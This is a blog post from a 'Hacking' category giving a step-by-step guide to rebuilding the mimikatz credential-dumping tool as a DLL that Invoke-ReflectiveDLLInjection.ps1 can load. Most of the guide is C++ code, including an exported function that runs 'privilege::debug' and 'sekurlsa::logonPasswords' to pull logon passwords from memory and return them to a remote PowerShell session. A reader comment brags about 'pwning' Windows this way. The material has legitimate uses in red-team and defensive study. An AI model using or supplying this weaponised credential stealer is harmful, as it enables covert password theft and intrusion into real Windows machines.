Modifying Mimikatz to be Loaded Using Invoke-ReflectiveDLLInjection.ps1

This is a follow up to my article about reflectively loading DLLs using PowerShell. This will walk you through the relatively simple process of modifying mimikatz to be loadable using the reflective DLL loader to dump passwords. I’ve included a link at the bottom of this post to the english version of mimikatz, which is what I modified.

You need:

  • Visual Studio 2010 (Mimikatz doesn’t appear to be conformant to C++11 so it won’t compile under Visual Studio 2012, 2008 will probably work as well).
  • Mimikatz (English version: https://github.com/thomhastings/mimikatz-en)

Normally Mimikatz uses wcout to output data to the user; due to PowerShell limitations, if the DLL outputs data to stdout it cannot be seen by a user using remote PowerShell, you will only be able to see the output if you run the script locally. Luckily, it is very easy to modify the mimikatz DLL to output to a format which can be retrieved remotely. Here is how to do it:

 1. Turn the project in to a DLL instead of an executable

Right click the project “mimikatz-en”, select “Properties”. The default screen should be Configuration Properties -> General. Change “Configuration Type” to “Dynamic Library (.dll). Change the project to be 64 bit if you need to use Mimikatz on 64bit operating systems. This can be found in Build->Configuration Manager.

2. Declare the wostream we will use instead of wcout

Create a new file “global.h”, put the following code in it:


#include <ostream>
extern std::wostream *outputStream;

Create a new file “global.cpp”, put the following code in it:


#include <ostream>
#include <iostream>
#include "global.h"

std::wostream *outputStream = &std::wcout;

3. Modify the calls to wcout

Find the code which outputs information you want. In mimkatz, data is output using


wcout << L”Stuff to output”;

This needs to be changed to output to outputStream instead of wcout. By default, outputStream will output to wcout (because that is the default we set in global.cpp). We can change that behavior (and will change it later).

In mimikatz, passwords are output in mod_mimikatz_sekurlsa.cpp. Just search for “wcout” and replace it with “(*outputStream)”, and remember to include “global.h” in any file you modify to use “(*outputStream)”. For example:


(*outputStream) << endl <<
    L"Authentication ID         : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl <<
    L"Authentication Package    : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl <<
    L"Primary user              : " << mod_text::stringOfSTRING(sessionData->UserName) << endl <<
    L"Domain authentication     : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl;

4. Write an export function in the DLL for the PowerShell script to call.

Here’s my export function, it goes in main.cpp.


extern "C" __declspec( dllexport ) wchar_t* WStringFunc()
{
    wostringstream *stringStream = new wostringstream();
    outputStream = stringStream;

    vector<wstring> * mesArguments = new vector<wstring>();
    (*mesArguments).push_back(L"privilege::debug");
    (*mesArguments).push_back(L"sekurlsa::logonPasswords");
    (*mesArguments).push_back(L"exit");

    mimikatz * myMimiKatz = new mimikatz(mesArguments);
    delete myMimiKatz, mesArguments;

    wstring output = (*stringStream).str();
    const wchar_t* outputStr = output.c_str();
    wchar_t* out = new wchar_t[output.size()+1];
    wcscpy(out, outputStr);
    out[output.size()] = '\0';

    return out;
}

The function is named WStringFunc(), if you recall from my previous blog post, this is one of the DLL export functions Invoke-ReflectiveDLLInjection can call without modification. The function sets outputStream equal to a wostringstream instead of wcout. It builds an array of strings to pass to the main mimikatz function (which is needed because we can’t pass command line parameters which are what is normally passed). Once mimikatz does its work, the function converts the wostringstream (which contains the mimikatz output) to a wstring, and then converts that wstring to a wchar_t*. This pointer is returned, and Invoke-ReflectiveDllInjection will read this string and pass it back to the user.

Final Thoughts:

This process should be pretty easy to do, I’d guess you can have a compiled version of mimikatz-en-DLL in less than 10 minutes. You can use the methodology shown here of using a wostream in place of wcout to convert any DLL into a DLL which can output data to Invoke-ReflectiveDLLInjection, and it is super easy to do the conversion.

References:

Invoke-ReflectiveDLLInjection blog post: https://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/

English Mimikatz: https://github.com/thomhastings/mimikatz-en

Mimikatz Website: http://blog.gentilkiwi.com/mimikatz

Tagged with: ,
Posted in Hacking
One comment on “Modifying Mimikatz to be Loaded Using Invoke-ReflectiveDLLInjection.ps1
  1. Stevie says:

    Now, I usually do not pwn Windows but when I do, it is with reflective DLL injection …

Leave a comment